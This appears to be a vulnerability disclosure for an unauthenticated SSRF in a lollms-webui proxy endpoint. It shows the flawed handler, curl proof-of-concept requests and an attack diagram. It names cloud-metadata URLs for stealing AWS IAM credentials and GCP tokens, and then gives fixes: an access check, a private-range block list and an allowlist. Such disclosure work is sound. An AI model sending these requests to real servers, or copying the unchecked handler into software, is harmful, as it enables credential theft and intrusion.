@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
    try:
        async with httpx.AsyncClient() as client:
            # No check_access() call — unauthenticated
            # No URL validation — arbitrary destinations
            response = await client.get(request.url)
            return {"content": response.text}
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

echo "INTERNAL_SECRET_DATA" > secret.txt
python3 -m http.server 8888

curl -X POST http://localhost:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://localhost:8888/secret.txt"}'

{"content": "INTERNAL_SECRET_DATA\n"}

# AWS IMDSv1 — Retrieve IAM credentials
curl -X POST http://<target>:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP — Retrieve access token
curl -X POST http://<target>:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'

Attacker                         lollms-webui Server                    Internal Network
   |                                    |                                      |
   |  POST /api/proxy                   |                                      |
   |  {"url": "http://169.254..."}      |                                      |
   |----------------------------------->|                                      |
   |                                    |  GET http://169.254.169.254/...      |
   |                                    |------------------------------------->|
   |                                    |                                      |
   |                                    |  200 OK (IAM credentials)            |
   |                                    |<-------------------------------------|
   |                                    |                                      |
   |  {"content": "<credentials>"}      |                                      |
   |<-----------------------------------|                                      |

@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
    check_access(lollmsElfServer, request.client_id)  # Add this
    # ...

from urllib.parse import urlparse
import ipaddress

BLOCKED_RANGES = [
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("169.254.0.0/16"),  # Cloud metadata
]

def is_safe_url(url: str) -> bool:
    parsed = urlparse(url)
    hostname = parsed.hostname
    if hostname in ("localhost", ""):
        return False
    try:
        ip = ipaddress.ip_address(hostname)
        return not any(ip in network for network in BLOCKED_RANGES)
    except ValueError:
        # Hostname is a domain — resolve and check
        import socket
        resolved = socket.gethostbyname(hostname)
        ip = ipaddress.ip_address(resolved)
        return not any(ip in network for network in BLOCKED_RANGES)

ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"]

def is_whitelisted(url: str) -> bool:
    parsed = urlparse(url)
    return parsed.hostname in ALLOWED_DOMAINS